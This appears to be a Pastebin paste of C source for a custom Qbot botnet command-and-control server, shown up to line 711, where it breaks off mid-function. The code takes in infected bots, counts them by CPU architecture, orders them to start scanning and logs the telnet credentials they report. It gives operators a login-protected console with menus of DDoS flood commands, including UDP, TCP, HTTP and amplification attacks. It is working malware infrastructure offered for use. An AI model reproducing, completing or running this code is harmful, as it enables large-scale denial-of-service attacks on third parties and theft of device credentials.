KekSec

CUSTOM QBOT SERVER BY FREAK

Oct 25th, 2020 (edited)
898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 25.52 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20.     char username[20];
  21.     char password[20];
  22. };
  23. static struct login_info accounts[22];
  24. struct clientdata_t {
  25.         uint32_t ip;
  26.         char connected;
  27.         char mips;
  28.         char x86;
  29.         char ppc;
  30.         char m68k;
  31.         char spc;
  32.         char arm;
  33.         char sh4;
  34. } clients[MAXFDS];
  35. struct telnetdata_t {
  36.         int connected;
  37. } managements[MAXFDS];
  38. struct args {
  39.         int sock;
  40.         struct sockaddr_in cli_addr;
  41. };
  42. static volatile FILE *telFD;
  43. static volatile FILE *fileFD;
  44. static volatile int epollFD = 0;
  45. static volatile int listenFD = 0;
  46. static volatile int OperatorsConnected = 0;
  47. static volatile int TELFound = 0;
  48. static volatile int scannerreport;
  49. //////////////////////////////////
  50. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  51.     int total = 0, got = 1;
  52.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  53.     return got;
  54. }
  55. void trim(char *str) {
  56.     int i;
  57.     int begin = 0;
  58.     int end = strlen(str) - 1;
  59.     while (isspace(str[begin])) begin++;
  60.     while ((end >= begin) && isspace(str[end])) end--;
  61.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  62.     str[i - begin] = '\0';
  63. }
  64. static int make_socket_non_blocking (int sfd) {
  65.     int flags, s;
  66.     flags = fcntl (sfd, F_GETFL, 0);
  67.     if (flags == -1) {
  68.         perror ("fcntl");
  69.         return -1;
  70.     }
  71.     flags |= O_NONBLOCK;
  72.     s = fcntl (sfd, F_SETFL, flags);
  73.     if (s == -1) {
  74.         perror ("fcntl");
  75.         return -1;
  76.     }
  77.     return 0;
  78. }
  79. static int create_and_bind (char *port) {
  80.     struct addrinfo hints;
  81.     struct addrinfo *result, *rp;
  82.     int s, sfd;
  83.     memset (&hints, 0, sizeof (struct addrinfo));
  84.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  85.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  86.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  87.     s = getaddrinfo (NULL, port, &hints, &result);
  88.     if (s != 0) {
  89.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  90.         return -1;
  91.     }
  92.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  93.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  94.         if (sfd == -1) continue;
  95.         int yes = 1;
  96.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  97.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  98.         if (s == 0) {
  99.             break;
  100.         }
  101.         close (sfd);
  102.     }
  103.     if (rp == NULL) {
  104.         fprintf (stderr, "Could not bind\n");
  105.         return -1;
  106.     }
  107.     freeaddrinfo (result);
  108.     return sfd;
  109. }
  110. void broadcast(char *msg, int us, char *sender)
  111. {
  112.         int sendMGM = 1;
  113.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  114.         char *wot = malloc(strlen(msg) + 10);
  115.         memset(wot, 0, strlen(msg) + 10);
  116.         strcpy(wot, msg);
  117.         trim(wot);
  118.         time_t rawtime;
  119.         struct tm * timeinfo;
  120.         time(&rawtime);
  121.         timeinfo = localtime(&rawtime);
  122.         char *timestamp = asctime(timeinfo);
  123.         trim(timestamp);
  124.         int i;
  125.         for(i = 0; i < MAXFDS; i++)
  126.         {
  127.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  128.                 if(sendMGM && managements[i].connected)
  129.                 {
  130.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  131.                         send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  132.                         send(i, ": ", 2, MSG_NOSIGNAL);
  133.                 }
  134.                 printf("sent to fd: %d\n", i);
  135.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  136.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mType: ", 13, MSG_NOSIGNAL);
  137.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  138.         }
  139.         free(wot);
  140. }
  141. unsigned int mips() {
  142.     int i = 0, mips = 0;
  143.     for(i = 0; i < MAXFDS; i++) {
  144.         if(!clients[i].mips)
  145.         {
  146.             continue;
  147.         }
  148.         mips++;
  149.     }
  150.     return mips;
  151. }
  152. unsigned int x86() {
  153.     int i = 0, x86 = 0;
  154.     for(i = 0; i < MAXFDS; i++) {
  155.         if(!clients[i].x86)
  156.         {
  157.             continue;
  158.         }
  159.         x86++;
  160.     }
  161.     return x86;
  162. }
  163. unsigned int arm() {
  164.     int i = 0, arm = 0;
  165.     for(i = 0; i < MAXFDS; i++) {
  166.         if(!clients[i].arm)
  167.         {
  168.             continue;
  169.         }
  170.         arm++;
  171.     }
  172.     return arm;
  173. }
  174. unsigned int ppc() {
  175.     int i = 0, ppc = 0;
  176.     for(i = 0; i < MAXFDS; i++) {
  177.         if(!clients[i].ppc) continue;
  178.         ppc++;
  179.     }
  180.     return ppc;
  181. }
  182. unsigned int m68k() {
  183.     int i = 0, m68k = 0;
  184.     for(i = 0; i < MAXFDS; i++) {
  185.         if(!clients[i].m68k) continue;
  186.         m68k++;
  187.     }
  188.     return m68k;
  189. }
  190. unsigned int spc() {
  191.     int i = 0, spc = 0;
  192.     for(i = 0; i < MAXFDS; i++) {
  193.         if(!clients[i].spc) continue;
  194.         spc++;
  195.     }
  196.     return spc;
  197. }
  198. unsigned int sh4() {
  199.     int i = 0, sh4 = 0;
  200.     for(i = 0; i < MAXFDS; i++) {
  201.         if(!clients[i].sh4) continue;
  202.         sh4++;
  203.     }
  204.     return sh4;
  205. }
  206. void *BotEventLoop(void *useless) {
  207.     struct epoll_event event;
  208.     struct epoll_event *events;
  209.     int s;
  210.     events = calloc (MAXFDS, sizeof event);
  211.     while (1) {
  212.         int n, i;
  213.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  214.         for (i = 0; i < n; i++) {
  215.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  216.                 clients[events[i].data.fd].connected = 0;
  217.                 close(events[i].data.fd);
  218.                 continue;
  219.             }
  220.             else if (listenFD == events[i].data.fd) {
  221.                while (1) {
  222.                 struct sockaddr in_addr;
  223.                 socklen_t in_len;
  224.                 int infd, ipIndex;
  225.  
  226.                 in_len = sizeof in_addr;
  227.                 infd = accept (listenFD, &in_addr, &in_len);
  228.                 if (infd == -1) {
  229.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  230.                     else {
  231.                         perror ("accept");
  232.                         break;
  233.                          }
  234.                 }
  235.  
  236.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  237.                 int dup = 0;
  238.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  239.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  240.                     if(clients[ipIndex].ip == clients[infd].ip) {
  241.                         dup = 1;
  242.                         break;
  243.                     }}
  244.                 if(dup) {
  245.                     if(send(infd, "!* DUP\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  246.                     close(infd);
  247.                     continue;
  248.                 }
  249.                 s = make_socket_non_blocking (infd);
  250.                 if (s == -1) { close(infd); break; }
  251.                 event.data.fd = infd;
  252.                 event.events = EPOLLIN | EPOLLET;
  253.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  254.                 if (s == -1) {
  255.                     perror ("epoll_ctl");
  256.                     close(infd);
  257.                     break;
  258.                 }
  259.                 clients[infd].connected = 1;
  260.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  261.             }
  262.             continue;
  263.         }
  264.         else {
  265.             int datafd = events[i].data.fd;
  266.             struct clientdata_t *client = &(clients[datafd]);
  267.             int done = 0;
  268.             client->connected = 1;
  269.             while (1) {
  270.                 ssize_t count;
  271.                 char buf[2048];
  272.                 memset(buf, 0, sizeof buf);
  273.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  274.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  275.                     trim(buf);
  276.                     if(strcmp(buf, "PING") == 0) {
  277.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  278.                         continue;
  279.                     }
  280.                     if(strstr(buf, "MIPS") == buf) {
  281.                         char *line = strstr(buf, "MIPS");
  282.                         client->mips = 1;
  283.                         continue;
  284.                     }
  285.                     if(strstr(buf, "MIPSEL") == buf) {
  286.                         char *line = strstr(buf, "MIPSEL");
  287.                         client->mips = 1;
  288.                         continue;
  289.                     }
  290.                     if(strstr(buf, "SUPERH") == buf) {
  291.                         char *line = strstr(buf, "SUPERH");
  292.                         client->sh4 = 1;
  293.                         continue;
  294.                     }
  295.                     if(strstr(buf, "x86_64") == buf) {
  296.                         char *line = strstr(buf, "x86_64");
  297.                         client->x86 = 1;
  298.                         continue;
  299.                     }
  300.                     if(strstr(buf, "x86_32") == buf) {
  301.                         char *line = strstr(buf, "x86_32");
  302.                         client->x86 = 1;
  303.                         continue;
  304.                     }
  305.                     if(strstr(buf, "POWERPC") == buf) {
  306.                         char *line = strstr(buf, "POWERPC");
  307.                         client->ppc = 1;
  308.                         continue;
  309.                     }
  310.                     if(strstr(buf, "M68K") == buf) {
  311.                         char *line = strstr(buf, "M68K");
  312.                         client->m68k = 1;
  313.                         continue;
  314.                     }
  315.                     if(strstr(buf, "SPARC") == buf) {
  316.                         char *line = strstr(buf, "SPARC");
  317.                         client->spc = 1;
  318.                         continue;
  319.                     }
  320.                     if(strstr(buf, "ARM3") == buf) {
  321.                         char *line = strstr(buf, "ARM3");
  322.                         client->arm = 1;
  323.                         continue;
  324.                     }
  325.                     if(strstr(buf, "ARM4T") == buf) {
  326.                         char *line = strstr(buf, "ARMv5");
  327.                         client->arm = 1;
  328.                         continue;
  329.                     }
  330.                     if(strstr(buf, "ARMv6") == buf) {
  331.                         char *line = strstr(buf, "ARMv6");
  332.                         client->arm = 1;
  333.                         continue;
  334.                     }
  335.                     if(strstr(buf, "TELNET ") == buf) {
  336.                         char *line = strstr(buf, "TELNET ") + 7;
  337.                         fprintf(telFD, "%s\n", line);
  338.                         fflush(telFD);
  339.                         TELFound++;
  340.                         continue;
  341.                     }
  342.                     if(strstr(buf, "PROBING") == buf) {
  343.                         char *line = strstr(buf, "PROBING");
  344.                         scannerreport = 1;
  345.                         continue;
  346.                     }
  347.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  348.                         char *line = strstr(buf, "REMOVING PROBE");
  349.                         scannerreport = 0;
  350.                         continue;
  351.                     }
  352.                     if(strcmp(buf, "PONG") == 0) {
  353.                         continue;
  354.                     }
  355.                     printf("buf: \"%s\"\n", buf);
  356.                 }
  357.                 if (count == -1) {
  358.                     if (errno != EAGAIN) {
  359.                         done = 1;
  360.                     }
  361.                     break;
  362.                 }
  363.                 else if (count == 0) {
  364.                     done = 1;
  365.                     break;
  366.                 }
  367.             if (done) {
  368.                 client->connected = 0;
  369.                
  370.                 /*mips x86 ppc m68k spc arm sh4*/
  371.                 client->connected = 0;
  372.                 client->mips = 0;
  373.                 client->x86 = 0;
  374.                 client->ppc = 0;
  375.                 client->m68k = 0;
  376.                 client->spc = 0;
  377.                 client->arm = 0;
  378.                 client->sh4 = 0;
  379.                 close(datafd);
  380.             }
  381.         }
  382.     }
  383. }
  384.     }
  385. }
  386. unsigned int BotsConnected() {
  387.     int i = 0, total = 0;
  388.     for(i = 0; i < MAXFDS; i++) {
  389.         if(!clients[i].connected) continue;
  390.         total++;
  391.     }
  392.     return total;
  393. }
  394. void *TitleWriter(void *sock) {
  395.     int datafd = (int)sock;
  396.     char string[2048];
  397.    
  398.         char botnet[2048];
  399.         memset(botnet, 0, 2048);
  400.         char botnet1[2048];
  401.         memset(botnet1, 0, 2048);
  402.         char botnet2[2048];
  403.         memset(botnet2, 0, 2048);
  404.         char botnet3[2048];
  405.         memset(botnet3, 0, 2048);
  406.         char botnet4[2048];
  407.         memset(botnet4, 0, 2048);
  408.         char botnet5[2048];
  409.         memset(botnet5, 0, 2048);
  410.         char botnet6[2048];
  411.         memset(botnet6, 0, 2048);
  412.     while(1) {
  413.         memset(string, 0, 2048);
  414.        
  415.             sprintf(botnet, " MIPS [%d] ", mips());
  416.             sprintf(botnet1, " x86 [%d] ", x86());
  417.             sprintf(botnet2, " PPC [%d] ", ppc());
  418.             sprintf(botnet3, " M68K [%d] ", m68k());
  419.             sprintf(botnet4, " SPC [%d] ", spc());
  420.             sprintf(botnet5, " ARM [%d] ", arm());
  421.             sprintf(botnet6, " SH4 [%d] ", sh4());
  422.         sprintf(string, "%c]0;Slaves Connected: %d | Masters Connected: %d | %s%s%s%s%s%s%s%c", '\033', BotsConnected(), OperatorsConnected, botnet,botnet1,botnet2,botnet3,botnet4,botnet5,botnet6, '\007');
  423.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  424.         sleep(2);
  425. }}
  426. int Find_Login(char *str) {
  427.     FILE *fp;
  428.     int line_num = 0;
  429.     int find_result = 0, find_line=0;
  430.     char temp[512];
  431.  
  432.     if((fp = fopen("login.txt", "r")) == NULL){
  433.         return(-1);
  434.     }
  435.     while(fgets(temp, 512, fp) != NULL){
  436.         if((strstr(temp, str)) != NULL){
  437.             find_result++;
  438.             find_line = line_num;
  439.         }
  440.         line_num++;
  441.     }
  442.     if(fp)
  443.         fclose(fp);
  444.     if(find_result == 0)return 0;
  445.     return find_line;
  446. }
  447. void *BotWorker(void *sock) {
  448.     int datafd = (int)sock;
  449.     int find_line;
  450.     OperatorsConnected++;
  451.     pthread_t title;
  452.     char buf[2048];
  453.     char* username;
  454.     char* password;
  455.     memset(buf, 0, sizeof buf);
  456.     char botnet[2048];
  457.     memset(botnet, 0, 2048);
  458.  
  459.     FILE *fp;
  460.     int i=0;
  461.     int c;
  462.     fp=fopen("login.txt", "r");
  463.     while(!feof(fp)) {
  464.         c=fgetc(fp);
  465.         ++i;
  466.     }
  467.     int j=0;
  468.     rewind(fp);
  469.     while(j!=i-1) {
  470.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  471.         ++j;
  472.     }
  473.  
  474.         if(send(datafd, "\x1b[37mUsername: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  475.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  476.         trim(buf);
  477.         char* nickstring;
  478.         sprintf(accounts[find_line].username, buf);
  479.         nickstring = ("%s", buf);
  480.         find_line = Find_Login(nickstring);
  481.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  482.         if(send(datafd, "\x1b[37mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  483.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  484.         trim(buf);
  485.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  486.         memset(buf, 0, 2048);
  487.         goto Banner;
  488.         }
  489.         failed:
  490.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  491.         char failed_line1[80];
  492.  
  493.         sprintf(failed_line1, "\x1b[36mWRONG ANSWER BITCH!!\r\n");
  494.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  495.         sleep(5);
  496.         goto end;
  497.  
  498.         Banner:
  499.         pthread_create(&title, NULL, &TitleWriter, sock);
  500.         char ascii_banner_line1 [5000];
  501.         char ascii_banner_line2 [5000];
  502.         char ascii_banner_line3 [5000];
  503.         char ascii_banner_line4 [5000];
  504.         char ascii_banner_line5 [5000];
  505.         char ascii_banner_line6 [5000];
  506.         char ascii_banner_line7 [5000];
  507.         char ascii_banner_line8 [5000];
  508.         char ascii_banner_line9 [5000];
  509.         char welcome_line [80];
  510.         char banner_bot_count [2048];
  511.         memset(banner_bot_count, 0, 2048);
  512.        
  513.         sprintf(ascii_banner_line1, "\x1b[36m   **     **              **          \r\n");
  514.         sprintf(ascii_banner_line2, "\x1b[36m  /**    /**             //           \r\n");
  515.         sprintf(ascii_banner_line3, "\x1b[36m  /**    /**   *******    **   **   **\r\n");
  516.         sprintf(ascii_banner_line4, "\x1b[36m  /**    /*   //**///**  /**  //** ** \r\n");
  517.         sprintf(ascii_banner_line5, "\x1b[36m  /**    /**   /**  /**  /**   //***  \r\n");
  518.         sprintf(ascii_banner_line6, "\x1b[36m  /**    /**   /**  /**  /**    **/** \r\n");
  519.         sprintf(ascii_banner_line7, "\x1b[36m  //*******    ***  /**  /**   ** //**\r\n");
  520.         sprintf(ascii_banner_line8, "\x1b[36m   ///////    ///   //   //   //   // \r\n");
  521.         sprintf(ascii_banner_line9, "\r\n");   
  522.         sprintf(welcome_line,       "\x1b[37m        #\x1b[36m----- \x1b[37mBot Count: %d\x1b[36m -----\x1b[37m#\r\n", BotsConnected(), OperatorsConnected);
  523.         sprintf(banner_bot_count,   "\r\n\x1b[37m    #\x1b[36m-------- \x1b[37mWelcome, %s\x1b[36m --------\x1b[37m#\r\n", accounts[find_line].username);
  524.  
  525.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  526.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  527.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  528.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  529.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  530.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  531.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  532.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  533.         if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  534.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  535.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  536.         while(1) {
  537.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  538.         if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  539.         break;
  540.         }
  541.         pthread_create(&title, NULL, &TitleWriter, sock);
  542.         managements[datafd].connected = 1;
  543.  
  544.         while(fdgets(buf, sizeof buf, datafd) > 0)
  545.         {
  546.             if(strstr(buf, "BOTS")) {
  547.                 char botcount [2048];
  548.                 memset(botcount, 0, 2048);
  549.                 sprintf(botcount, "[+] - Slaves: [\x1b[36m %d \x1b[37m] [+] - Masters: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  550.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  551.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  552.                 continue;
  553.             }
  554.             if(strstr(buf, "STATUS")){
  555.                 char statuscount [2048];
  556.                 memset(statuscount, 0, 2048);
  557.                 sprintf(statuscount, "[+] - Devices: [\x1b[36m %d \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
  558.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  559.                                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  560.                 continue;
  561.             }
  562.             if(strstr(buf, "HELP")) {
  563.                 pthread_create(&title, NULL, &TitleWriter, sock);
  564.  
  565.                 char ddosline1  [80];
  566.                 char ddosline2  [80];
  567.                 char ddosline3  [80];
  568.                 char ddosline4  [80];
  569.                 char ddosline5  [80];
  570.                 char ddosline6  [80];
  571.                 char ddosline7  [80];
  572.                 char ddosline8  [80];
  573.                 char ddosline9  [120];
  574.                 char ddosline10 [120];
  575.                 char ddosline11 [150];
  576.                 char ddosline12 [116];
  577.                 sprintf(ddosline1, "[!] Attack Commands\r\n");
  578.                 sprintf(ddosline2, "[+]   UDP Flood:  !* UDP  [IP] [PORT] [TIME] 32 65500 10\r\n");
  579.                 sprintf(ddosline3, "[+]   STD Flood:  !* STD  [IP] [PORT] [TIME] [SIZE]\r\n");
  580.                 sprintf(ddosline4, "[+]   TCP Flood:  !* TCP  [IP] [PORT] [TIME] 32 all 0 10\r\n");
  581.                 sprintf(ddosline5, "[+]   VSE Flood:  !* VSE  [IP] [PORT] [TIME] 32 all 0 10\r\n");
  582.                 sprintf(ddosline6, "[+]   JUNK Flood: !* JUNK [IP] [PORT] [TIME]\r\n");
  583.                 sprintf(ddosline7, "[+]   HOLD Flood: !* HOLD [IP] [PORT] [TIME]\r\n");
  584.                 sprintf(ddosline8, "[+]   BLACKNURSE Flood:  !* BLACKNURSE [IP] [TIME]\r\n");
  585.                 sprintf(ddosline9, "[+]   HTTP Flood: !* HTTP [METHOD] [TARGET] [PORT] / [TIME] [SIZE]\r\n");
  586.                 sprintf(ddosline10, "[+]   HTTP Hex: !* HTTPHEX [METHOD] [TARGET] [PORT] / [TIME] [SIZE]\r\n");
  587.                 sprintf(ddosline11, "[+]   AMP FLOOD: !* AMP [LDAP/MEMCACHED/STUN/SSD] [target IP] [port] [reflection file url] [forks] [time]\r\n");
  588.                 sprintf(ddosline12, "[+]   OVH UDP RAPE FLOOD: !* OVH [IP] [PORT] [SIZE] [TIME] [FORKS]\r\n");
  589.  
  590.                 if(send(datafd, ddosline1,  strlen(ddosline1),  MSG_NOSIGNAL) == -1) goto end;
  591.                 if(send(datafd, ddosline2,  strlen(ddosline2),  MSG_NOSIGNAL) == -1) goto end;
  592.                 if(send(datafd, ddosline3,  strlen(ddosline3),  MSG_NOSIGNAL) == -1) goto end;
  593.                 if(send(datafd, ddosline4,  strlen(ddosline4),  MSG_NOSIGNAL) == -1) goto end;
  594.                 if(send(datafd, ddosline5,  strlen(ddosline5),  MSG_NOSIGNAL) == -1) goto end;
  595.                 if(send(datafd, ddosline6,  strlen(ddosline6),  MSG_NOSIGNAL) == -1) goto end;
  596.                 if(send(datafd, ddosline7,  strlen(ddosline7),  MSG_NOSIGNAL) == -1) goto end;
  597.                 if(send(datafd, ddosline8,  strlen(ddosline8),  MSG_NOSIGNAL) == -1) goto end;
  598.                 if(send(datafd, ddosline9,  strlen(ddosline9),  MSG_NOSIGNAL) == -1) goto end;
  599.                 if(send(datafd, ddosline10,  strlen(ddosline10),    MSG_NOSIGNAL) == -1) goto end;
  600.                 if(send(datafd, ddosline11,  strlen(ddosline11),    MSG_NOSIGNAL) == -1) goto end;
  601.                 if(send(datafd, ddosline12,  strlen(ddosline12),    MSG_NOSIGNAL) == -1) goto end;
  602.  
  603.                 pthread_create(&title, NULL, &TitleWriter, sock);
  604.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  605.                 continue;
  606.             }
  607.                         if(strstr(buf, "ls")) {
  608.                 pthread_create(&title, NULL, &TitleWriter, sock);
  609.                 char ls1  [80];
  610.                 char ls2  [80];
  611.                 char ls3  [80];
  612.                 char ls4  [80];
  613.                 char ls5  [80];
  614.  
  615.                 sprintf(ls1,  "   \r\n\x1b[37m#--- \x1b[36mMETHODS \x1b[37m---#\r\n\r\n");
  616.                 sprintf(ls2,  "   \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  617.                 sprintf(ls3,  "   \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  618.                 sprintf(ls4,  "   \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
  619.                 sprintf(ls5,  "   \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  620.  
  621.                 if(send(datafd, ls1,  strlen(ls1),  MSG_NOSIGNAL) == -1) goto end;
  622.                 if(send(datafd, ls2,  strlen(ls2),  MSG_NOSIGNAL) == -1) goto end;
  623.                 if(send(datafd, ls3,  strlen(ls3),  MSG_NOSIGNAL) == -1) goto end;
  624.                 if(send(datafd, ls4,  strlen(ls4),  MSG_NOSIGNAL) == -1) goto end;
  625.                 if(send(datafd, ls5,  strlen(ls5),  MSG_NOSIGNAL) == -1) goto end;
  626.  
  627.                 pthread_create(&title, NULL, &TitleWriter, sock);
  628.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  629.                 continue;
  630.         }
  631.  
  632.             if(strstr(buf, "KILL")) {
  633.                 char killattack [2048];
  634.                 memset(killattack, 0, 2048);
  635.                 sprintf(killattack, "!* STOP\r\n");
  636.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  637.                                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  638.                 continue;
  639.             }
  640.             if(strstr(buf, "CLEAR")) {
  641.                 char clearscreen [2048];
  642.                 memset(clearscreen, 0, 2048);
  643.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  644.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  645.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  646.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  647.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  648.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  649.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  650.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  651.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  652.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  653.                 while(1) {
  654.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  655.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  656.                 break;
  657.                 }
  658.                 continue;
  659.             }
  660.             if(strstr(buf, "TOS")) {
  661.                 pthread_create(&title, NULL, &TitleWriter, sock);
  662.                 char tos1  [80];
  663.                 sprintf(tos1,  "\r\n\x1b[36mTOS: \x1b[37mhttp://pastebin.com/HGHUJLE8\r\n\r\n");
  664.  
  665.                 if(send(datafd, tos1,  strlen(tos1),    MSG_NOSIGNAL) == -1) goto end;
  666.                 pthread_create(&title, NULL, &TitleWriter, sock);
  667.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  668.                 continue;
  669.  
  670.             }
  671.                
  672.             if(strstr(buf, "LOGOUT")) {
  673.                 char logoutmessage [2048];
  674.                 memset(logoutmessage, 0, 2048);
  675.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  676.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  677.                 sleep(5);
  678.                 goto end;
  679.             }
  680.                 trim(buf);
  681.                 if(send(datafd, "\x1b[37mType: ", 11, MSG_NOSIGNAL) == -1) goto end;
  682.                 if(strlen(buf) == 0) continue;
  683.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  684.  
  685.                 FILE *LogFile;
  686.                 LogFile = fopen("server.log", "a");
  687.                 time_t now;
  688.                 struct tm *gmt;
  689.                 char formatted_gmt [50];
  690.                 char lcltime[50];
  691.                 now = time(NULL);
  692.                 gmt = gmtime(&now);
  693.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  694.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  695.                 fclose(LogFile);
  696.                 broadcast(buf, datafd, accounts[find_line].username);
  697.                 memset(buf, 0, 2048);
  698.         }
  699.         end:
  700.             managements[datafd].connected = 0;
  701.             close(datafd);
  702.             OperatorsConnected--;
  703. }
  704. void *BotListener(int port) {
  705.     int sockfd, newsockfd;
  706.     socklen_t clilen;
  707.     struct sockaddr_in serv_addr, cli_addr;
  708.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  709.     if (sockfd < 0) perror("ERROR opening socket");
  710.     bzero((char *) &serv_addr, sizeof(serv_addr));
  711.     serv_addr.sin_family = AF_INET;
